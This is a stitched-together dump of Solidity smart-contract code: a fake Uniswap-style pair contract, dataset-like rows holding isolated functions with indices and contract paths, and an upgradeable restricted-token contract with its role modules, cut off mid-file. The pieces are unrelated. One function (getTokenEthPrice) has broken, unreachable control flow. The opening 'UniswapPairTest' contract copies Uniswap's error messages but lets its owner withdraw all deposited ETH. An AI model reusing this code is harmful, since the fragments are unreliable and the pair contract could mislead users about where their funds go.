value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } } contract UniswapPairTest is UniswapV2ERC20 { using SafeMath for uint; address public owner; address public token0; address public token1; uint public token0Coef; uint public token1Coef; uint private reserve0; // uses single storage slot, accessible via getReserves uint private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint _reserve0, uint _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint reserve0, uint reserve1); constructor() public { owner = msg.sender; } // called once by the owner at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == owner, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } function setCoefficient(uint _token0Coef, uint _token1Coef) external { require(msg.sender == owner, 'UniswapV2: FORBIDDEN'); // sufficient check token0Coef = _token0Coef; token1Coef = _token1Coef; } function mint(address to, uint liquidity) external lock returns (uint) { require(msg.sender == owner, 'UniswapV2: FORBIDDEN'); // sufficient check uint amount0 = liquidity.mul(token0Coef); uint amount1 = liquidity.mul(token1Coef); reserve0 = reserve0.add(amount0); reserve1 = reserve1.add(amount1); _mint(to, liquidity); emit Mint(to, amount0, amount1); return liquidity; } // this low-level function should be called from a contract which performs important safety checks function burn(address to, uint liquidity) external lock returns (uint amount0, uint amount1) { require(msg.sender == owner, 'UniswapV2: FORBIDDEN'); // sufficient check amount0 = liquidity.mul(token0Coef); amount1 = liquidity.mul(token1Coef); require(reserve0 > amount0 && reserve1 > amount1, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); reserve0 = reserve0.sub(amount0); reserve1 = reserve1.sub(amount1); _burn(to, liquidity); emit Burn(to, amount0, amount1, address(0)); } function swap() payable external returns (uint) { uint amount = msg.value * 1000; require(balanceOf[owner] >= amount, 'UniswapV2: INSUFFICIENT'); _transfer(owner, msg.sender, amount); return amount; } function withdraw() external returns (uint) { (bool success,) = owner.call{value:address(this).balance}(new bytes(0)); require(success, 'ETH_TRANSFER_FAILED'); } }
this low-level function should be called from a contract which performs important safety checks
function burn(address to, uint liquidity) external lock returns (uint amount0, uint amount1) { amount0 = liquidity.mul(token0Coef); amount1 = liquidity.mul(token1Coef); require(reserve0 > amount0 && reserve1 > amount1, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); reserve0 = reserve0.sub(amount0); reserve1 = reserve1.sub(amount1); _burn(to, liquidity); emit Burn(to, amount0, amount1, address(0)); }
12,968,706
./full_match/11155111/0x726243154864048fa357de41Ee81D4EaC1AC8831/sources/contracts/PropertyContract.sol
Creates new property
function createProperty( address _seller, string memory _name, string memory _description, uint256 _price, uint256 _latitude, uint256 _longitude, uint256 _added, uint256 _closes, string[] memory _images ) public returns (uint256) { Date memory _date = Date(_added, _closes); Location memory _location = Location(_latitude, _longitude); Property storage property = properties[property_num]; property.seller = _seller; property.name = _name; property.date = _date; property.location = _location; property.description = _description; property.images = _images; property.price = _price; property_num++; return property_num - 1; }
3,830,336
./partial_match/1/0x3384F5502ADC5928Ca2De0208D1AA2c13c8367Ae/sources/MyUniswapProxy.sol
rinkeby DAI: 0x2448eE2641d78CC42D7AD76498917359D961A783 rinkeby BAT: 0xDA5B056Cfb861282B4b59d29c9B395bcC238D29B rinkeby MKR: 0xF9bA5210F91D0474bd1e1DcDAeC4C58E359AaD85 rinkeby OMG: 0x879884c3C46A24f56089f3bBbe4d5e38dB5788C0 rinkeby ZRX: 0xF22e3F33768354c9805d046af3C0926f27741B43
function getTokenEthPrice(address _token) public view returns (uint) { address exchange = factory.getExchange(_token); uint tokenReserve = ERC20(_token).balanceOf(exchange); uint ethReserve = exchange.balance; if (tokenReserve == 0) { return 0; return (ethReserve * (10 ** 18)) / tokenReserve; } } else { }
3,941,978
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; import "./ERC1404.sol"; import "./roles/OwnerRole.sol"; import "./capabilities/Proxiable.sol"; import "./capabilities/Burnable.sol"; import "./capabilities/Mintable.sol"; import "./capabilities/Pausable.sol"; import "./capabilities/Revocable.sol"; import "./capabilities/Blacklistable.sol"; import "./capabilities/Whitelistable.sol"; import "./capabilities/RevocableToAddress.sol"; /// @title Wrapped Token V1 Contract /// @notice The role based access controls allow the Owner accounts to determine which permissions are granted to admin /// accounts. Admin accounts can enable, disable, and configure the token restrictions built into the contract. /// @dev This contract implements the ERC1404 Interface to add transfer restrictions to a standard ERC20 token. contract WrappedTokenV1 is Proxiable, ERC20Upgradeable, ERC1404, OwnerRole, Whitelistable, Mintable, Burnable, Revocable, Pausable, Blacklistable, RevocableToAddress { AggregatorV3Interface public reserveFeed; // ERC1404 Error codes and messages uint8 public constant SUCCESS_CODE = 0; uint8 public constant FAILURE_NON_WHITELIST = 1; uint8 public constant FAILURE_PAUSED = 2; string public constant SUCCESS_MESSAGE = "SUCCESS"; string public constant FAILURE_NON_WHITELIST_MESSAGE = "The transfer was restricted due to white list configuration."; string public constant FAILURE_PAUSED_MESSAGE = "The transfer was restricted due to the contract being paused."; string public constant UNKNOWN_ERROR = "Unknown Error Code"; /// @notice The from/to account has been explicitly denied the ability to send/receive uint8 public constant FAILURE_BLACKLIST = 3; string public constant FAILURE_BLACKLIST_MESSAGE = "Restricted due to blacklist"; event OracleAddressUpdated(address newAddress); constructor( string memory name, string memory symbol, AggregatorV3Interface resFeed ) { initialize(msg.sender, name, symbol, 0, resFeed, true, false); } /// @notice This method can only be called once for a unique contract address /// @dev Initialization for the token to set readable details and mint all tokens to the specified owner /// @param owner Owner address for the contract /// @param name Token name identifier /// @param symbol Token symbol identifier /// @param initialSupply Amount minted to the owner /// @param resFeed oracle contract address /// @param whitelistEnabled A boolean flag that enables token transfers to be white listed /// @param flashMintEnabled A boolean flag that enables tokens to be flash minted function initialize( address owner, string memory name, string memory symbol, uint256 initialSupply, AggregatorV3Interface resFeed, bool whitelistEnabled, bool flashMintEnabled ) public initializer { reserveFeed = resFeed; ERC20Upgradeable.__ERC20_init(name, symbol); Mintable._mint(msg.sender, owner, initialSupply); OwnerRole._addOwner(owner); Mintable._setFlashMintEnabled(flashMintEnabled); Whitelistable._setWhitelistEnabled(whitelistEnabled); Mintable._setFlashMintFeeReceiver(owner); } /// @dev Public function to update the address of the code contract /// @param newAddress new implementation contract address function updateCodeAddress(address newAddress) external onlyOwner { Proxiable._updateCodeAddress(newAddress); } /// @dev Public function to update the address of the code oracle, retricted to owner /// @param resFeed oracle contract address function updateOracleAddress(AggregatorV3Interface resFeed) external onlyOwner { reserveFeed = resFeed; mint(msg.sender, 0); emit OracleAddressUpdated(address(reserveFeed)); } /// @notice If the function returns SUCCESS_CODE (0) then it should be allowed /// @dev Public function detects whether a transfer should be restricted and not allowed /// @param from The sender of a token transfer /// @param to The receiver of a token transfer /// function detectTransferRestriction( address from, address to, uint256 ) public view override returns (uint8) { // Restrictions are enabled, so verify the whitelist config allows the transfer. // Logic defined in Blacklistable parent class if (!checkBlacklistAllowed(from, to)) { return FAILURE_BLACKLIST; } // Check the paused status of the contract if (Pausable.paused()) { return FAILURE_PAUSED; } // If an owner transferring, then ignore whitelist restrictions if (OwnerRole.isOwner(from)) { return SUCCESS_CODE; } // Restrictions are enabled, so verify the whitelist config allows the transfer. // Logic defined in Whitelistable parent class if (!checkWhitelistAllowed(from, to)) { return FAILURE_NON_WHITELIST; } // If no restrictions were triggered return success return SUCCESS_CODE; } /// @notice It should return enough information for the user to know why it failed. /// @dev Public function allows a wallet or other client to get a human readable string to show a user if a transfer /// was restricted. /// @param restrictionCode The sender of a token transfer function messageForTransferRestriction(uint8 restrictionCode) public pure override returns (string memory) { if (restrictionCode == FAILURE_BLACKLIST) { return FAILURE_BLACKLIST_MESSAGE; } if (restrictionCode == SUCCESS_CODE) { return SUCCESS_MESSAGE; } if (restrictionCode == FAILURE_NON_WHITELIST) { return FAILURE_NON_WHITELIST_MESSAGE; } if (restrictionCode == FAILURE_PAUSED) { return FAILURE_PAUSED_MESSAGE; } // An unknown error code was passed in. return UNKNOWN_ERROR; } /// @dev Modifier that evaluates whether a transfer should be allowed or not /// @param from The sender of a token transfer /// @param to The receiver of a token transfer /// @param value Quantity of tokens being exchanged between the sender and receiver modifier notRestricted( address from, address to, uint256 value ) { uint8 restrictionCode = detectTransferRestriction(from, to, value); require( restrictionCode == SUCCESS_CODE, messageForTransferRestriction(restrictionCode) ); _; } /// @dev Public function that overrides the parent class token transfer function to enforce restrictions /// @param to Receiver of the token transfer /// @param value Amount of tokens to transfer /// @return success Status of the transfer function transfer(address to, uint256 value) public override notRestricted(msg.sender, to, value) returns (bool success) { success = ERC20Upgradeable.transfer(to, value); } /// @dev Public function that overrides the parent class token transferFrom function to enforce restrictions /// @param from Sender of the token transfer /// @param to Receiver of the token transfer /// @param value Amount of tokens to transfer /// @return success Status of the transfer function transferFrom( address from, address to, uint256 value ) public override notRestricted(from, to, value) returns (bool success) { success = ERC20Upgradeable.transferFrom(from, to, value); } /// @dev Public function to recover all ether sent to this contract to an owner address function withdraw() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } /// @dev Public function to recover all tokens sent to this contract to an owner address /// @param token ERC20 that has a balance for this contract address /// @return success Status of the transfer function recover(IERC20Upgradeable token) external onlyOwner returns (bool success) { success = token.transfer(msg.sender, token.balanceOf(address(this))); } /// @dev Allow Owners to mint tokens to valid addresses /// @param account The account tokens will be added to /// @param amount The number of tokens to add to a balance function mint(address account, uint256 amount) public override onlyMinter returns (bool) { uint256 total = amount + ERC20Upgradeable.totalSupply(); (, int256 answer, , , ) = reserveFeed.latestRoundData(); uint256 decimals = ERC20Upgradeable.decimals(); uint256 reserveFeedDecimals = reserveFeed.decimals(); require(decimals >= reserveFeedDecimals, "invalid price feed decimals"); require( (answer > 0) && (uint256(answer) * 10**uint256(decimals - reserveFeedDecimals) > total), "reserve must exceed the total supply" ); return Mintable.mint(account, amount); } /// @dev Overrides the parent hook which is called ahead of `transfer` every time that method is called /// @param from Sender of the token transfer /// @param amount Amount of token being transferred function _beforeTokenTransfer( address from, address, uint256 amount ) internal view override { if (from != address(0)) { return; } require( ERC20FlashMintUpgradeable.maxFlashLoan(address(this)) > amount, "mint exceeds max allowed" ); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title WhitelisterRole Contract /// @notice Only administrators can update the white lister roles /// @dev Keeps track of white listers and can check if an account is authorized contract WhitelisterRole is OwnerRole { event WhitelisterAdded( address indexed addedWhitelister, address indexed addedBy ); event WhitelisterRemoved( address indexed removedWhitelister, address indexed removedBy ); Role private _whitelisters; /// @dev Modifier to make a function callable only when the caller is a white lister modifier onlyWhitelister() { require( isWhitelister(msg.sender), "WhitelisterRole: caller does not have the Whitelister role" ); _; } /// @dev Public function returns `true` if `account` has been granted a white lister role function isWhitelister(address account) public view returns (bool) { return _has(_whitelisters, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a white lister /// @param account The address that is guaranteed white lister authorization function _addWhitelister(address account) internal { _add(_whitelisters, account); emit WhitelisterAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a white lister /// @param account The address removed as a white lister function _removeWhitelister(address account) internal { _remove(_whitelisters, account); emit WhitelisterRemoved(account, msg.sender); } /// @dev Public function that adds an address as a white lister /// @param account The address that is guaranteed white lister authorization function addWhitelister(address account) external onlyOwner { _addWhitelister(account); } /// @dev Public function that removes an account from being a white lister /// @param account The address removed as a white lister function removeWhitelister(address account) external onlyOwner { _removeWhitelister(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title RevokerRole Contract /// @notice Only administrators can update the revoker roles /// @dev Keeps track of revokers and can check if an account is authorized contract RevokerRole is OwnerRole { event RevokerAdded(address indexed addedRevoker, address indexed addedBy); event RevokerRemoved( address indexed removedRevoker, address indexed removedBy ); Role private _revokers; /// @dev Modifier to make a function callable only when the caller is a revoker modifier onlyRevoker() { require( isRevoker(msg.sender), "RevokerRole: caller does not have the Revoker role" ); _; } /// @dev Public function returns `true` if `account` has been granted a revoker role function isRevoker(address account) public view returns (bool) { return _has(_revokers, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a revoker /// @param account The address that is guaranteed revoker authorization function _addRevoker(address account) internal { _add(_revokers, account); emit RevokerAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a revoker /// @param account The address removed as a revoker function _removeRevoker(address account) internal { _remove(_revokers, account); emit RevokerRemoved(account, msg.sender); } /// @dev Public function that adds an address as a revoker /// @param account The address that is guaranteed revoker authorization function addRevoker(address account) external onlyOwner { _addRevoker(account); } /// @dev Public function that removes an account from being a revoker /// @param account The address removed as a revoker function removeRevoker(address account) external onlyOwner { _removeRevoker(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title PauserRole Contract /// @notice Only administrators can update the pauser roles /// @dev Keeps track of pausers and can check if an account is authorized contract PauserRole is OwnerRole { event PauserAdded(address indexed addedPauser, address indexed addedBy); event PauserRemoved( address indexed removedPauser, address indexed removedBy ); Role private _pausers; /// @dev Modifier to make a function callable only when the caller is a pauser modifier onlyPauser() { require( isPauser(msg.sender), "PauserRole: caller does not have the Pauser role" ); _; } /// @dev Public function returns `true` if `account` has been granted a pauser role function isPauser(address account) public view returns (bool) { return _has(_pausers, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a pauser /// @param account The address that is guaranteed pauser authorization function _addPauser(address account) internal { _add(_pausers, account); emit PauserAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a pauser /// @param account The address removed as a pauser function _removePauser(address account) internal { _remove(_pausers, account); emit PauserRemoved(account, msg.sender); } /// @dev Public function that adds an address as a pauser /// @param account The address that is guaranteed pauser authorization function addPauser(address account) external onlyOwner { _addPauser(account); } /// @dev Public function that removes an account from being a pauser /// @param account The address removed as a pauser function removePauser(address account) external onlyOwner { _removePauser(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title OwnerRole Contract /// @notice Only administrators can update the owner roles /// @dev Keeps track of owners and can check if an account is authorized contract OwnerRole { event OwnerAdded(address indexed addedOwner, address indexed addedBy); event OwnerRemoved(address indexed removedOwner, address indexed removedBy); struct Role { mapping(address => bool) members; } Role private _owners; /// @dev Modifier to make a function callable only when the caller is an owner modifier onlyOwner() { require( isOwner(msg.sender), "OwnerRole: caller does not have the Owner role" ); _; } /// @dev Public function returns `true` if `account` has been granted an owner role function isOwner(address account) public view returns (bool) { return _has(_owners, account); } /// @dev Public function that adds an address as an owner /// @param account The address that is guaranteed owner authorization function addOwner(address account) external onlyOwner { _addOwner(account); } /// @dev Public function that removes an account from being an owner /// @param account The address removed as a owner function removeOwner(address account) external onlyOwner { _removeOwner(account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as an owner /// @param account The address that is guaranteed owner authorization function _addOwner(address account) internal { _add(_owners, account); emit OwnerAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being an owner /// @param account The address removed as an owner function _removeOwner(address account) internal { _remove(_owners, account); emit OwnerRemoved(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Give an account access to this role /// @param role All authorizations for the contract /// @param account The address that is guaranteed owner authorization function _add(Role storage role, address account) internal { require(account != address(0x0), "Invalid 0x0 address"); require(!_has(role, account), "Roles: account already has role"); role.members[account] = true; } /// @notice Only administrators should be allowed to update this /// @dev Remove an account's access to this role /// @param role All authorizations for the contract /// @param account The address that is guaranteed owner authorization function _remove(Role storage role, address account) internal { require(_has(role, account), "Roles: account does not have role"); role.members[account] = false; } /// @dev Check if an account is in the set of roles /// @param role All authorizations for the contract /// @param account The address that is guaranteed owner authorization /// @return boolean function _has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.members[account]; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title MinterRole Contract /// @notice Only administrators can update the minter roles /// @dev Keeps track of minters and can check if an account is authorized contract MinterRole is OwnerRole { event MinterAdded(address indexed addedMinter, address indexed addedBy); event MinterRemoved( address indexed removedMinter, address indexed removedBy ); Role private _minters; /// @dev Modifier to make a function callable only when the caller is a minter modifier onlyMinter() { require( isMinter(msg.sender), "MinterRole: caller does not have the Minter role" ); _; } /// @dev Public function returns `true` if `account` has been granted a minter role function isMinter(address account) public view returns (bool) { return _has(_minters, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a minter /// @param account The address that is guaranteed minter authorization function _addMinter(address account) internal { _add(_minters, account); emit MinterAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a minter /// @param account The address removed as a minter function _removeMinter(address account) internal { _remove(_minters, account); emit MinterRemoved(account, msg.sender); } /// @dev Public function that adds an address as a minter /// @param account The address that is guaranteed minter authorization function addMinter(address account) external onlyOwner { _addMinter(account); } /// @dev Public function that removes an account from being a minter /// @param account The address removed as a minter function removeMinter(address account) external onlyOwner { _removeMinter(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title BurnerRole Contract /// @notice Only administrators can update the burner roles /// @dev Keeps track of burners and can check if an account is authorized contract BurnerRole is OwnerRole { event BurnerAdded(address indexed addedBurner, address indexed addedBy); event BurnerRemoved( address indexed removedBurner, address indexed removedBy ); Role private _burners; /// @dev Modifier to make a function callable only when the caller is a burner modifier onlyBurner() { require( isBurner(msg.sender), "BurnerRole: caller does not have the Burner role" ); _; } /// @dev Public function returns `true` if `account` has been granted a burner role function isBurner(address account) public view returns (bool) { return _has(_burners, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a burner /// @param account The address that is guaranteed burner authorization function _addBurner(address account) internal { _add(_burners, account); emit BurnerAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a burner /// @param account The address removed as a burner function _removeBurner(address account) internal { _remove(_burners, account); emit BurnerRemoved(account, msg.sender); } /// @dev Public function that adds an address as a burner /// @param account The address that is guaranteed burner authorization function addBurner(address account) external onlyOwner { _addBurner(account); } /// @dev Public function that removes an account from being a burner /// @param account The address removed as a burner function removeBurner(address account) external onlyOwner { _removeBurner(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title BlacklisterRole Contract /// @notice Only administrators can update the black lister roles /// @dev Keeps track of black listers and can check if an account is authorized contract BlacklisterRole is OwnerRole { event BlacklisterAdded( address indexed addedBlacklister, address indexed addedBy ); event BlacklisterRemoved( address indexed removedBlacklister, address indexed removedBy ); Role private _Blacklisters; /// @dev Modifier to make a function callable only when the caller is a black lister modifier onlyBlacklister() { require(isBlacklister(msg.sender), "BlacklisterRole missing"); _; } /// @dev Public function returns `true` if `account` has been granted a black lister role function isBlacklister(address account) public view returns (bool) { return _has(_Blacklisters, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a black lister /// @param account The address that is guaranteed black lister authorization function _addBlacklister(address account) internal { _add(_Blacklisters, account); emit BlacklisterAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a black lister /// @param account The address removed as a black lister function _removeBlacklister(address account) internal { _remove(_Blacklisters, account); emit BlacklisterRemoved(account, msg.sender); } /// @dev Public function that adds an address as a black lister /// @param account The address that is guaranteed black lister authorization function addBlacklister(address account) external onlyOwner { _addBlacklister(account); } /// @dev Public function that removes an account from being a black lister /// @param account The address removed as a black lister function removeBlacklister(address account) external onlyOwner { _removeBlacklister(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../roles/WhitelisterRole.sol"; /// @title Whitelistable Contract /// @notice Only administrators can update the white lists, and any address can only be a member of one whitelist at a /// time /// @dev Keeps track of white lists and can check if sender and reciever are configured to allow a transfer contract Whitelistable is WhitelisterRole { // The mapping to keep track of which whitelist any address belongs to. // 0 is reserved for no whitelist and is the default for all addresses. mapping(address => uint8) public addressWhitelists; // The mapping to keep track of each whitelist's outbound whitelist flags. // Boolean flag indicates whether outbound transfers are enabled. mapping(uint8 => mapping(uint8 => bool)) public outboundWhitelistsEnabled; // Track whether whitelisting is enabled bool public isWhitelistEnabled; // Zero is reserved for indicating it is not on a whitelist uint8 constant NO_WHITELIST = 0; // Events to allow tracking add/remove. event AddressAddedToWhitelist( address indexed addedAddress, uint8 indexed whitelist, address indexed addedBy ); event AddressRemovedFromWhitelist( address indexed removedAddress, uint8 indexed whitelist, address indexed removedBy ); event OutboundWhitelistUpdated( address indexed updatedBy, uint8 indexed sourceWhitelist, uint8 indexed destinationWhitelist, bool from, bool to ); event WhitelistEnabledUpdated( address indexed updatedBy, bool indexed enabled ); /// @notice Only administrators should be allowed to update this /// @dev Enable or disable the whitelist enforcement /// @param enabled A boolean flag that enables token transfers to be white listed function _setWhitelistEnabled(bool enabled) internal { isWhitelistEnabled = enabled; emit WhitelistEnabledUpdated(msg.sender, enabled); } /// @notice Only administrators should be allowed to update this. If an address is on an existing whitelist, it will /// just get updated to the new value (removed from previous) /// @dev Sets an address's white list ID. /// @param addressToAdd The address added to a whitelist /// @param whitelist Number identifier for the whitelist the address is being added to function _addToWhitelist(address addressToAdd, uint8 whitelist) internal { // Verify a valid address was passed in require( addressToAdd != address(0), "Cannot add address 0x0 to a whitelist." ); // Verify the whitelist is valid require(whitelist != NO_WHITELIST, "Invalid whitelist ID supplied"); // Save off the previous white list uint8 previousWhitelist = addressWhitelists[addressToAdd]; // Set the address's white list ID addressWhitelists[addressToAdd] = whitelist; // If the previous whitelist existed then we want to indicate it has been removed if (previousWhitelist != NO_WHITELIST) { // Emit the event for tracking emit AddressRemovedFromWhitelist( addressToAdd, previousWhitelist, msg.sender ); } // Emit the event for new whitelist emit AddressAddedToWhitelist(addressToAdd, whitelist, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Clears out an address's white list ID /// @param addressToRemove The address removed from a white list function _removeFromWhitelist(address addressToRemove) internal { // Verify a valid address was passed in require( addressToRemove != address(0), "Cannot remove address 0x0 from a whitelist." ); // Save off the previous white list uint8 previousWhitelist = addressWhitelists[addressToRemove]; // Verify the address was actually on a whitelist require( previousWhitelist != NO_WHITELIST, "Address cannot be removed from invalid whitelist." ); // Zero out the previous white list addressWhitelists[addressToRemove] = NO_WHITELIST; // Emit the event for tracking emit AddressRemovedFromWhitelist( addressToRemove, previousWhitelist, msg.sender ); } /// @notice Only administrators should be allowed to update this /// @dev Sets the flag to indicate whether source whitelist is allowed to send to destination whitelist /// @param sourceWhitelist The white list of the sender /// @param destinationWhitelist The white list of the receiver /// @param newEnabledValue A boolean flag that enables token transfers between white lists function _updateOutboundWhitelistEnabled( uint8 sourceWhitelist, uint8 destinationWhitelist, bool newEnabledValue ) internal { // Get the old enabled flag bool oldEnabledValue = outboundWhitelistsEnabled[sourceWhitelist][ destinationWhitelist ]; // Update to the new value outboundWhitelistsEnabled[sourceWhitelist][ destinationWhitelist ] = newEnabledValue; // Emit event for tracking emit OutboundWhitelistUpdated( msg.sender, sourceWhitelist, destinationWhitelist, oldEnabledValue, newEnabledValue ); } /// @notice The source whitelist must be enabled to send to the whitelist where the receive exists /// @dev Determine if the a sender is allowed to send to the receiver /// @param sender The address of the sender /// @param receiver The address of the receiver function checkWhitelistAllowed(address sender, address receiver) public view returns (bool) { // If whitelist enforcement is not enabled, then allow all if (!isWhitelistEnabled) { return true; } // First get each address white list uint8 senderWhiteList = addressWhitelists[sender]; uint8 receiverWhiteList = addressWhitelists[receiver]; // If either address is not on a white list then the check should fail if ( senderWhiteList == NO_WHITELIST || receiverWhiteList == NO_WHITELIST ) { return false; } // Determine if the sending whitelist is allowed to send to the destination whitelist return outboundWhitelistsEnabled[senderWhiteList][receiverWhiteList]; } /// @dev Public function that enables or disables the white list enforcement /// @param enabled A boolean flag that enables token transfers to be whitelisted function setWhitelistEnabled(bool enabled) external onlyOwner { _setWhitelistEnabled(enabled); } /// @notice If an address is on an existing whitelist, it will just get updated to the new value (removed from /// previous) /// @dev Public function that sets an address's white list ID /// @param addressToAdd The address added to a whitelist /// @param whitelist Number identifier for the whitelist the address is being added to function addToWhitelist(address addressToAdd, uint8 whitelist) external onlyWhitelister { _addToWhitelist(addressToAdd, whitelist); } /// @dev Public function that clears out an address's white list ID /// @param addressToRemove The address removed from a white list function removeFromWhitelist(address addressToRemove) external onlyWhitelister { _removeFromWhitelist(addressToRemove); } /// @dev Public function that sets the flag to indicate whether source white list is allowed to send to destination /// white list /// @param sourceWhitelist The white list of the sender /// @param destinationWhitelist The white list of the receiver /// @param newEnabledValue A boolean flag that enables token transfers between white lists function updateOutboundWhitelistEnabled( uint8 sourceWhitelist, uint8 destinationWhitelist, bool newEnabledValue ) external onlyWhitelister { _updateOutboundWhitelistEnabled( sourceWhitelist, destinationWhitelist, newEnabledValue ); } uint256[47] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "../roles/RevokerRole.sol"; /// @title RevocableToAddress Contract /// @notice Only administrators can revoke tokens to an address /// @dev Enables reducing a balance by transfering tokens to an address contract RevocableToAddress is ERC20Upgradeable, RevokerRole { event RevokeToAddress( address indexed revoker, address indexed from, address indexed to, uint256 amount ); /// @notice Only administrators should be allowed to revoke on behalf of another account /// @dev Revoke a quantity of token in an account, reducing the balance /// @param from The account tokens will be deducted from /// @param to The account revoked token will be transferred to /// @param amount The number of tokens to remove from a balance function _revokeToAddress( address from, address to, uint256 amount ) internal returns (bool) { ERC20Upgradeable._transfer(from, to, amount); emit RevokeToAddress(msg.sender, from, to, amount); return true; } /** Allow Admins to revoke tokens from any address to any destination */ /// @notice Only administrators should be allowed to revoke on behalf of another account /// @dev Revoke a quantity of token in an account, reducing the balance /// @param from The account tokens will be deducted from /// @param amount The number of tokens to remove from a balance function revokeToAddress( address from, address to, uint256 amount ) external onlyRevoker returns (bool) { return _revokeToAddress(from, to, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "../roles/RevokerRole.sol"; /// @title Revocable Contract /// @notice Only administrators can revoke tokens /// @dev Enables reducing a balance by transfering tokens to the caller contract Revocable is ERC20Upgradeable, RevokerRole { event Revoke(address indexed revoker, address indexed from, uint256 amount); /// @notice Only administrators should be allowed to revoke on behalf of another account /// @dev Revoke a quantity of token in an account, reducing the balance /// @param from The account tokens will be deducted from /// @param amount The number of tokens to remove from a balance function _revoke(address from, uint256 amount) internal returns (bool) { ERC20Upgradeable._transfer(from, msg.sender, amount); emit Revoke(msg.sender, from, amount); return true; } /// @dev Allow Revokers to revoke tokens for addresses /// @param from The account tokens will be deducted from /// @param amount The number of tokens to remove from a balance function revoke(address from, uint256 amount) external onlyRevoker returns (bool) { return _revoke(from, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Proxiable { // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" uint256 constant PROXIABLE_MEM_SLOT = 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; event CodeAddressUpdated(address newAddress); function _updateCodeAddress(address newAddress) internal { require( bytes32(PROXIABLE_MEM_SLOT) == Proxiable(newAddress).proxiableUUID(), "Not compatible" ); assembly { // solium-disable-line sstore(PROXIABLE_MEM_SLOT, newAddress) } emit CodeAddressUpdated(newAddress); } function getLogicAddress() external view returns (address logicAddress) { assembly { // solium-disable-line logicAddress := sload(PROXIABLE_MEM_SLOT) } } function proxiableUUID() external pure returns (bytes32) { return bytes32(PROXIABLE_MEM_SLOT); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../roles/PauserRole.sol"; /// @title Pausable Contract /// @notice Child contracts will not be pausable by simply including this module, but only once the modifiers are put in /// place /// @dev Contract module which allows children to implement an emergency stop mechanism that can be triggered by an /// authorized account. This module is used through inheritance. It will make available the modifiers `whenNotPaused` /// and `whenPaused`, which can be applied to the functions of your contract. contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; /// @dev Returns true if the contract is paused, and false otherwise. /// @return A boolean flag for if the contract is paused function paused() public view returns (bool) { return _paused; } /// @dev Modifier to make a function callable only when the contract is not paused modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /// @dev Modifier to make a function callable only when the contract is paused modifier whenPaused() { 